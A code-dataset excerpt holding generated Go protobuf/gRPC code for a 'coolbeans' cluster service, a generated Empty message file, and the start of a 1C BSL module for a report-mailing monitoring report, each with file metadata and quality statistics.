0x61, 0x76, 0x65, 0x12, 0x1e, 0x2e, 0x63, 0x6f, 0x6f, 0x6c, 0x62, 0x65, 0x61, 0x6e, 0x73, 0x2e, 0x61, 0x70, 0x69, 0x2e, 0x76, 0x31, 0x2e, 0x4c, 0x65, 0x61, 0x76, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x63, 0x6f, 0x6f, 0x6c, 0x62, 0x65, 0x61, 0x6e, 0x73, 0x2e, 0x61, 0x70, 0x69, 0x2e, 0x76, 0x31, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x51, 0x0a, 0x0c, 0x49, 0x73, 0x4e, 0x6f, 0x64, 0x65, 0x4c, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x17, 0x2e, 0x63, 0x6f, 0x6f, 0x6c, 0x62, 0x65, 0x61, 0x6e, 0x73, 0x2e, 0x61, 0x70, 0x69, 0x2e, 0x76, 0x31, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x26, 0x2e, 0x63, 0x6f, 0x6f, 0x6c, 0x62, 0x65, 0x61, 0x6e, 0x73, 0x2e, 0x61, 0x70, 0x69, 0x2e, 0x76, 0x31, 0x2e, 0x49, 0x73, 0x4e, 0x6f, 0x64, 0x65, 0x4c, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x3e, 0x0a, 0x08, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, 0x63, 0x6f, 0x6f, 0x6c, 0x62, 0x65, 0x61, 0x6e, 0x73, 0x2e, 0x61, 0x70, 0x69, 0x2e, 0x76, 0x31, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6f, 0x6f, 0x6c, 0x62, 0x65, 0x61, 0x6e, 0x73, 0x2e, 0x61, 0x70, 0x69, 0x2e, 0x76, 0x31, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x42, 0x14, 0x5a, 0x12, 0x2e, 0x3b, 0x63, 0x6f, 0x6f, 0x6c, 0x62, 0x65, 0x61, 0x6e, 0x73, 0x5f, 0x61, 0x70, 0x69, 0x5f, 0x76, 0x31, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( file_cluster_proto_rawDescOnce sync.Once file_cluster_proto_rawDescData = file_cluster_proto_rawDesc ) func file_cluster_proto_rawDescGZIP() []byte { file_cluster_proto_rawDescOnce.Do(func() { file_cluster_proto_rawDescData = protoimpl.X.CompressGZIP(file_cluster_proto_rawDescData) }) return file_cluster_proto_rawDescData } var file_cluster_proto_msgTypes = make([]protoimpl.MessageInfo, 3) var file_cluster_proto_goTypes = []interface{}{ (*JoinRequest)(nil), // 0: coolbeans.api.v1.JoinRequest (*LeaveRequest)(nil), // 1: coolbeans.api.v1.LeaveRequest (*IsNodeLeaderResponse)(nil), // 2: coolbeans.api.v1.IsNodeLeaderResponse (*Empty)(nil), // 3: coolbeans.api.v1.Empty } var file_cluster_proto_depIdxs = []int32{ 0, // 0: coolbeans.api.v1.Cluster.Join:input_type -> coolbeans.api.v1.JoinRequest 1, // 1: coolbeans.api.v1.Cluster.Leave:input_type -> coolbeans.api.v1.LeaveRequest 3, // 2: coolbeans.api.v1.Cluster.IsNodeLeader:input_type -> coolbeans.api.v1.Empty 3, // 3: coolbeans.api.v1.Cluster.Snapshot:input_type -> coolbeans.api.v1.Empty 3, // 4: coolbeans.api.v1.Cluster.Join:output_type -> coolbeans.api.v1.Empty 3, // 5: coolbeans.api.v1.Cluster.Leave:output_type -> coolbeans.api.v1.Empty 2, // 6: coolbeans.api.v1.Cluster.IsNodeLeader:output_type -> coolbeans.api.v1.IsNodeLeaderResponse 3, // 7: coolbeans.api.v1.Cluster.Snapshot:output_type -> coolbeans.api.v1.Empty 4, // [4:8] is the sub-list for method output_type 0, // [0:4] is the sub-list for method input_type 0, // [0:0] is the sub-list for extension type_name 0, // [0:0] is the sub-list for extension extendee 0, // [0:0] is the sub-list for field type_name } func init() { file_cluster_proto_init() } func file_cluster_proto_init() { if File_cluster_proto != nil { return } file_empty_proto_init() if !protoimpl.UnsafeEnabled { file_cluster_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*JoinRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_cluster_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*LeaveRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_cluster_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*IsNodeLeaderResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_cluster_proto_rawDesc, NumEnums: 0, NumMessages: 3, NumExtensions: 0, NumServices: 1, }, GoTypes: file_cluster_proto_goTypes, DependencyIndexes: file_cluster_proto_depIdxs, MessageInfos: file_cluster_proto_msgTypes, }.Build() File_cluster_proto = out.File file_cluster_proto_rawDesc = nil file_cluster_proto_goTypes = nil file_cluster_proto_depIdxs = nil } // Reference imports to suppress errors if they are not otherwise used. var _ context.Context var _ grpc.ClientConnInterface // This is a compile-time assertion to ensure that this generated file // is compatible with the grpc package it is being compiled against. const _ = grpc.SupportPackageIsVersion6 // ClusterClient is the client API for Cluster service. // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://godoc.org/google.golang.org/grpc#ClientConn.NewStream. type ClusterClient interface { // Join, allows a calling node to make a request to join // this cluster. // // It is required that the node that this is called into is a leader node. // Refer: the specific implementation for error codes Join(ctx context.Context, in *JoinRequest, opts ...grpc.CallOption) (*Empty, error) // Leave, allows a calling node to leave the cluster. // // It is required that the node that this is called into is a leader node. // Refer: the specific implementation for error codes Leave(ctx context.Context, in *LeaveRequest, opts ...grpc.CallOption) (*Empty, error) // IsNodeLeader, Check if this current node is a leader IsNodeLeader(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*IsNodeLeaderResponse, error) // Snaoshot, requests the server to return a user defined snapshot of // the specific node. Snapshot(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Empty, error) } type clusterClient struct { cc grpc.ClientConnInterface } func NewClusterClient(cc grpc.ClientConnInterface) ClusterClient { return &clusterClient{cc} } func (c *clusterClient) Join(ctx context.Context, in *JoinRequest, opts ...grpc.CallOption) (*Empty, error) { out := new(Empty) err := c.cc.Invoke(ctx, "/coolbeans.api.v1.Cluster/Join", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *clusterClient) Leave(ctx context.Context, in *LeaveRequest, opts ...grpc.CallOption) (*Empty, error) { out := new(Empty) err := c.cc.Invoke(ctx, "/coolbeans.api.v1.Cluster/Leave", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *clusterClient) IsNodeLeader(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*IsNodeLeaderResponse, error) { out := new(IsNodeLeaderResponse) err := c.cc.Invoke(ctx, "/coolbeans.api.v1.Cluster/IsNodeLeader", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *clusterClient) Snapshot(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Empty, error) { out := new(Empty) err := c.cc.Invoke(ctx, "/coolbeans.api.v1.Cluster/Snapshot", in, out, opts...) if err != nil { return nil, err } return out, nil } // ClusterServer is the server API for Cluster service. type ClusterServer interface { // Join, allows a calling node to make a request to join // this cluster. // // It is required that the node that this is called into is a leader node. // Refer: the specific implementation for error codes Join(context.Context, *JoinRequest) (*Empty, error) // Leave, allows a calling node to leave the cluster. // // It is required that the node that this is called into is a leader node. // Refer: the specific implementation for error codes Leave(context.Context, *LeaveRequest) (*Empty, error) // IsNodeLeader, Check if this current node is a leader IsNodeLeader(context.Context, *Empty) (*IsNodeLeaderResponse, error) // Snaoshot, requests the server to return a user defined snapshot of // the specific node. Snapshot(context.Context, *Empty) (*Empty, error) } // UnimplementedClusterServer can be embedded to have forward compatible implementations. type UnimplementedClusterServer struct { } func (*UnimplementedClusterServer) Join(context.Context, *JoinRequest) (*Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Join not implemented") } func (*UnimplementedClusterServer) Leave(context.Context, *LeaveRequest) (*Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Leave not implemented") } func (*UnimplementedClusterServer) IsNodeLeader(context.Context, *Empty) (*IsNodeLeaderResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method IsNodeLeader not implemented") } func (*UnimplementedClusterServer) Snapshot(context.Context, *Empty) (*Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Snapshot not implemented") } func RegisterClusterServer(s *grpc.Server, srv ClusterServer) { s.RegisterService(&_Cluster_serviceDesc, srv) } func _Cluster_Join_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(JoinRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ClusterServer).Join(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/coolbeans.api.v1.Cluster/Join", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ClusterServer).Join(ctx, req.(*JoinRequest)) } return interceptor(ctx, in, info, handler) } func _Cluster_Leave_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(LeaveRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ClusterServer).Leave(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/coolbeans.api.v1.Cluster/Leave", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ClusterServer).Leave(ctx, req.(*LeaveRequest)) } return interceptor(ctx, in, info, handler) } func _Cluster_IsNodeLeader_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(Empty) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ClusterServer).IsNodeLeader(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/coolbeans.api.v1.Cluster/IsNodeLeader", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ClusterServer).IsNodeLeader(ctx, req.(*Empty)) } return interceptor(ctx, in, info, handler) } func _Cluster_Snapshot_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(Empty) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ClusterServer).Snapshot(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/coolbeans.api.v1.Cluster/Snapshot", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ClusterServer).Snapshot(ctx, req.(*Empty)) } return interceptor(ctx, in, info, handler) } var _Cluster_serviceDesc = grpc.ServiceDesc{ ServiceName: "coolbeans.api.v1.Cluster", HandlerType: (*ClusterServer)(nil), Methods: []grpc.MethodDesc{ { MethodName: "Join", Handler: _Cluster_Join_Handler, }, { MethodName: "Leave", Handler: _Cluster_Leave_Handler, }, { MethodName: "IsNodeLeader", Handler: _Cluster_IsNodeLeader_Handler, }, { MethodName: "Snapshot", Handler: _Cluster_Snapshot_Handler, }, }, Streams: []grpc.StreamDesc{}, Metadata: "cluster.proto", }
18,604
cluster.pb
go
en
go
code
{"qsc_code_num_words": 2469, "qsc_code_num_chars": 18604.0, "qsc_code_mean_word_length": 5.30133657, "qsc_code_frac_words_unique": 0.13406237, "qsc_code_frac_chars_top_2grams": 0.03483841, "qsc_code_frac_chars_top_3grams": 0.04400642, "qsc_code_frac_chars_top_4grams": 0.02727481, "qsc_code_frac_chars_dupe_5grams": 0.65841546, "qsc_code_frac_chars_dupe_6grams": 0.60906104, "qsc_code_frac_chars_dupe_7grams": 0.56994423, "qsc_code_frac_chars_dupe_8grams": 0.55665062, "qsc_code_frac_chars_dupe_9grams": 0.5083658, "qsc_code_frac_chars_dupe_10grams": 0.46115058, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.09664694, "qsc_code_frac_chars_whitespace": 0.15518168, "qsc_code_size_file_byte": 18604.0, "qsc_code_num_lines": 527.0, "qsc_code_num_chars_line_max": 166.0, "qsc_code_num_chars_line_mean": 35.30170778, "qsc_code_frac_chars_alphabet": 0.73614557, "qsc_code_frac_chars_comments": 0.17662868, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.31468531, "qsc_code_cate_autogen": 1.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.05679593, "qsc_code_frac_chars_long_word_length": 0.04060582, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.13657135, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.06060606, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.22843823, "qsc_codego_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 1, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1xyz/coolbeans
api/v1/empty.pb.go
// Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.28.0 // protoc v3.19.3 // source: empty.proto package coolbeans_api_v1 import ( protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" reflect "reflect" sync "sync" ) const ( // Verify that this generated code is sufficiently up-to-date. _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) // Verify that runtime/protoimpl is sufficiently up-to-date. _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) ) type Empty struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *Empty) Reset() { *x = Empty{} if protoimpl.UnsafeEnabled { mi := &file_empty_proto_msgTypes[0] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Empty) String() string { return protoimpl.X.MessageStringOf(x) } func (*Empty) ProtoMessage() {} func (x *Empty) ProtoReflect() protoreflect.Message { mi := &file_empty_proto_msgTypes[0] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Empty.ProtoReflect.Descriptor instead. func (*Empty) Descriptor() ([]byte, []int) { return file_empty_proto_rawDescGZIP(), []int{0} } var File_empty_proto protoreflect.FileDescriptor var file_empty_proto_rawDesc = []byte{ 0x0a, 0x0b, 0x65, 0x6d, 0x70, 0x74, 0x79, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x10, 0x63, 0x6f, 0x6f, 0x6c, 0x62, 0x65, 0x61, 0x6e, 0x73, 0x2e, 0x61, 0x70, 0x69, 0x2e, 0x76, 0x31, 0x22, 0x07, 0x0a, 0x05, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x42, 0x14, 0x5a, 0x12, 0x2e, 0x3b, 0x63, 0x6f, 0x6f, 0x6c, 0x62, 0x65, 0x61, 0x6e, 0x73, 0x5f, 0x61, 0x70, 0x69, 0x5f, 0x76, 0x31, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( file_empty_proto_rawDescOnce sync.Once file_empty_proto_rawDescData = file_empty_proto_rawDesc ) func file_empty_proto_rawDescGZIP() []byte { file_empty_proto_rawDescOnce.Do(func() { file_empty_proto_rawDescData = protoimpl.X.CompressGZIP(file_empty_proto_rawDescData) }) return file_empty_proto_rawDescData } var file_empty_proto_msgTypes = make([]protoimpl.MessageInfo, 1) var file_empty_proto_goTypes = []interface{}{ (*Empty)(nil), // 0: coolbeans.api.v1.Empty } var file_empty_proto_depIdxs = []int32{ 0, // [0:0] is the sub-list for method output_type 0, // [0:0] is the sub-list for method input_type 0, // [0:0] is the sub-list for extension type_name 0, // [0:0] is the sub-list for extension extendee 0, // [0:0] is the sub-list for field type_name } func init() { file_empty_proto_init() } func file_empty_proto_init() { if File_empty_proto != nil { return } if !protoimpl.UnsafeEnabled { file_empty_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Empty); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_empty_proto_rawDesc, NumEnums: 0, NumMessages: 1, NumExtensions: 0, NumServices: 0, }, GoTypes: file_empty_proto_goTypes, DependencyIndexes: file_empty_proto_depIdxs, MessageInfos: file_empty_proto_msgTypes, }.Build() File_empty_proto = out.File file_empty_proto_rawDesc = nil file_empty_proto_goTypes = nil file_empty_proto_depIdxs = nil }
3,718
empty.pb
go
en
go
code
{"qsc_code_num_words": 506, "qsc_code_num_chars": 3718.0, "qsc_code_mean_word_length": 5.09486166, "qsc_code_frac_words_unique": 0.31027668, "qsc_code_frac_chars_top_2grams": 0.1124903, "qsc_code_frac_chars_top_3grams": 0.15205586, "qsc_code_frac_chars_top_4grams": 0.03956555, "qsc_code_frac_chars_dupe_5grams": 0.18968192, "qsc_code_frac_chars_dupe_6grams": 0.16524438, "qsc_code_frac_chars_dupe_7grams": 0.1458495, "qsc_code_frac_chars_dupe_8grams": 0.07757952, "qsc_code_frac_chars_dupe_9grams": 0.07059736, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.07344452, "qsc_code_frac_chars_whitespace": 0.16137708, "qsc_code_size_file_byte": 3718.0, "qsc_code_num_lines": 132.0, "qsc_code_num_chars_line_max": 97.0, "qsc_code_num_chars_line_mean": 28.16666667, "qsc_code_frac_chars_alphabet": 0.75336754, "qsc_code_frac_chars_comments": 0.15357719, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.10091743, "qsc_code_cate_autogen": 1.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.03241182, "qsc_code_frac_chars_long_word_length": 0.02891643, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.08897363, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.05504587, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.17431193, "qsc_codego_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 1, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1c-syntax/ssl_3_1
src/cf/Reports/КонтрольРассылкиОтчетов/Ext/ObjectModule.bsl
/////////////////////////////////////////////////////////////////////////////////////////////////////// // Copyright (c) 2024, ООО 1С-Софт // Все права защищены. Эта программа и сопроводительные материалы предоставляются // в соответствии с условиями лицензии Attribution 4.0 International (CC BY 4.0) // Текст лицензии доступен по ссылке: // https://creativecommons.org/licenses/by/4.0/legalcode /////////////////////////////////////////////////////////////////////////////////////////////////////// #Если Сервер Или ТолстыйКлиентОбычноеПриложение Или ВнешнееСоединение Тогда #Область ПрограммныйИнтерфейс #Область ДляВызоваИзДругихПодсистем // СтандартныеПодсистемы.ВариантыОтчетов // Задать настройки формы отчета. // // Параметры: // Форма - ФормаКлиентскогоПриложения // - Неопределено // КлючВарианта - Строка // - Неопределено // Настройки - см. ОтчетыКлиентСервер.НастройкиОтчетаПоУмолчанию // Процедура ОпределитьНастройкиФормы(Форма, КлючВарианта, Настройки) Экспорт Настройки.События.ПриСозданииНаСервере = Истина; Настройки.События.ПередЗагрузкойВариантаНаСервере = Истина; Настройки.События.ПередЗагрузкойНастроекВКомпоновщик = Истина; Настройки.ФормироватьСразу = Истина; КонецПроцедуры // См. ОтчетыПереопределяемый.ПриСозданииНаСервере. Процедура ПриСозданииНаСервере(Форма, Отказ, СтандартнаяОбработка) Экспорт Если Форма.Параметры.ПредставлениеВарианта = "Расшифровка" Тогда ВызватьИсключение НСтр("ru = 'Выбранное действие в данном отчете не доступно.'"); КонецЕсли; РассылкаОтчетовСсылка = Неопределено; Если Не Форма.Параметры.Свойство("РассылкаОтчетов", РассылкаОтчетовСсылка) И Не Форма.Параметры.Свойство("ПараметрКоманды", РассылкаОтчетовСсылка) И Не ЗначениеЗаполнено(РассылкаОтчетовСсылка) Тогда Возврат; КонецЕсли; СтруктураПараметровДанных = Новый Структура("РассылкаОтчетов", ПараметрДанных(РассылкаОтчетовСсылка)); УстановитьПараметрыДанных(КомпоновщикНастроек.Настройки, СтруктураПараметровДанных); КонецПроцедуры // См. ОтчетыПереопределяемый.ПередЗагрузкойВариантаНаСервере. Процедура ПередЗагрузкойВариантаНаСервере(Форма, НовыеНастройкиКД) Экспорт НайденныйПараметр = КомпоновщикНастроек.Настройки.ПараметрыДанных.Элементы.Найти("РассылкаОтчетов"); Если НайденныйПараметр = Неопределено Тогда Возврат; КонецЕсли; РассылкаОтчетовСсылка = НайденныйПараметр.Значение; Если Не ЗначениеЗаполнено(РассылкаОтчетовСсылка) Тогда Возврат; КонецЕсли; СтруктураПараметровДанных = Новый Структура; СтруктураПараметровДанных.Вставить("РассылкаОтчетов", ПараметрДанных(РассылкаОтчетовСсылка)); СтруктураПараметровДанных.Вставить("Период", ПараметрДанных(Новый СтандартныйПериод)); Если ЗначениеЗаполнено(Форма.КонтекстВарианта) Тогда НовыеНастройкиКД.ДополнительныеСвойства.Вставить("РассылкаОтчетов", РассылкаОтчетовСсылка); КонецЕсли; УстановитьПараметрыДанных(НовыеНастройкиКД, СтруктураПараметровДанных); КонецПроцедуры // Вызывается перед загрузкой новых настроек. Используется для изменения СКД отчета. // // Параметры: // Контекст - Произвольный // КлючСхемы - Строка // КлючВарианта - Строка // - Неопределено // НовыеНастройкиКД - НастройкиКомпоновкиДанных // - Неопределено // НовыеПользовательскиеНастройкиКД - ПользовательскиеНастройкиКомпоновкиДанных // - Неопределено // Процедура ПередЗагрузкойНастроекВКомпоновщик(Контекст, КлючСхемы, КлючВарианта, НовыеНастройкиКД, НовыеПользовательскиеНастройкиКД) Экспорт НайденныйПараметр = КомпоновщикНастроек.Настройки.ПараметрыДанных.Элементы.Найти("РассылкаОтчетов"); Если НайденныйПараметр = Неопределено Тогда Возврат; КонецЕсли; РассылкаОтчетовСсылка = НайденныйПараметр.Значение; Если Не ЗначениеЗаполнено(РассылкаОтчетовСсылка) Тогда Возврат; КонецЕсли; // Отключение всех отборов Для Каждого Элемент Из НовыеНастройкиКД.Отбор.Элементы Цикл Элемент.Использование = Ложь; Если Не ЗначениеЗаполнено(Элемент.ИдентификаторПользовательскойНастройки) Тогда Продолжить; КонецЕсли; СоответствующийПараметр = НовыеПользовательскиеНастройкиКД.Элементы.Найти( Элемент.ИдентификаторПользовательскойНастройки); Если СоответствующийПараметр <> Неопределено Тогда СоответствующийПараметр.Использование = Ложь; КонецЕсли; КонецЦикла; ПараметрыПоследнейРассылки = РассылкаОтчетов.ПараметрыЖурналаРегистрации(РассылкаОтчетовСсылка); СтруктураПараметровДанных = Новый Структура; Если ПараметрыПоследнейРассылки <> Неопределено И НЕ ЗначениеЗаполнено(Контекст.Период1) Тогда Период = Новый СтандартныйПериод; Период.ДатаНачала = ПараметрыПоследнейРассылки.ДатаНачала; Период.ДатаОкончания = ПараметрыПоследнейРассылки.ДатаОкончания; СтруктураПараметровДанных.Вставить("Период", ПараметрДанных(Период)); КонецЕсли; СтруктураПараметровДанных.Вставить("Получатели", ПараметрДанных(Новый СписокЗначений(), Ложь)); УстановитьПараметрыДанных(НовыеНастройкиКД, СтруктураПараметровДанных, НовыеПользовательскиеНастройкиКД); КонецПроцедуры // Конец СтандартныеПодсистемы.ВариантыОтчетов #КонецОбласти #КонецОбласти #Область ОбработчикиСобытий Процедура ПриКомпоновкеРезультата(ДокументРезультат, ДанныеРасшифровки, СтандартнаяОбработка) СтандартнаяОбработка = Ложь; НайденныйПараметр = КомпоновщикНастроек.Настройки.ПараметрыДанных.Элементы.Найти("РассылкаОтчетов"); Если НайденныйПараметр = Неопределено Или Не ЗначениеЗаполнено(НайденныйПараметр.Значение) Тогда Возврат; КонецЕсли; РассылкаОтчетовСсылка = НайденныйПараметр.Значение; НайденныйПараметр = НайтиПараметрПользовательскихНастроек(КомпоновщикНастроек.ПользовательскиеНастройки.Элементы, "Период"); Если НайденныйПараметр <> Неопределено И НайденныйПараметр.Значение <> Неопределено Тогда Период = НайденныйПараметр.Значение; Иначе Период = Новый СтандартныйПериод; КонецЕсли; ДополнительныеПараметры = Новый Структура; НайденныйПараметр = НайтиПараметрПользовательскихНастроек(КомпоновщикНастроек.ПользовательскиеНастройки.Элементы, "Получатели"); Если НайденныйПараметр <> Неопределено И НайденныйПараметр.Значение <> Неопределено Тогда ДополнительныеПараметры.Вставить("Получатели", ПараметрДанных(НайденныйПараметр.Значение, НайденныйПараметр.Использование)); Иначе ДополнительныеПараметры.Вставить("Получатели", ПараметрДанных(Новый СписокЗначений, Ложь)); КонецЕсли; ДокументРезультат.Очистить(); ДанныеОтчета = ДанныеИсторииРассылкиОтчетов(РассылкаОтчетовСсылка, Период, ДополнительныеПараметры); СтрокаИтогиРассылки = СтроковыеФункцииКлиентСервер.ПодставитьПараметрыВСтроку( НСтр("ru = 'Отправлено: %1; Не отправлено: %2; Всего: %3'"), ДанныеОтчета.Отправлено, ДанныеОтчета.НеОтправлено, ДанныеОтчета.Всего); КомпоновщикНастроек.Настройки.ПараметрыДанных.УстановитьЗначениеПараметра("СтрокаИтогиРассылки", СтрокаИтогиРассылки); КомпоновщикМакета = Новый КомпоновщикМакетаКомпоновкиДанных; Настройки = КомпоновщикНастроек.ПолучитьНастройки(); ВнешниеНаборыДанных = Новый Структура; ВнешниеНаборыДанных.Вставить("ДанныеИсторииРассылкиОтчетов", ДанныеОтчета.ИсторияРассылки); МакетКомпоновки = КомпоновщикМакета.Выполнить(СхемаКомпоновкиДанных, Настройки, ДанныеРасшифровки); ПроцессорКомпоновки = Новый ПроцессорКомпоновкиДанных; ПроцессорКомпоновки.Инициализировать(МакетКомпоновки, ВнешниеНаборыДанных, ДанныеРасшифровки, Истина); ПроцессорВывода = Новый 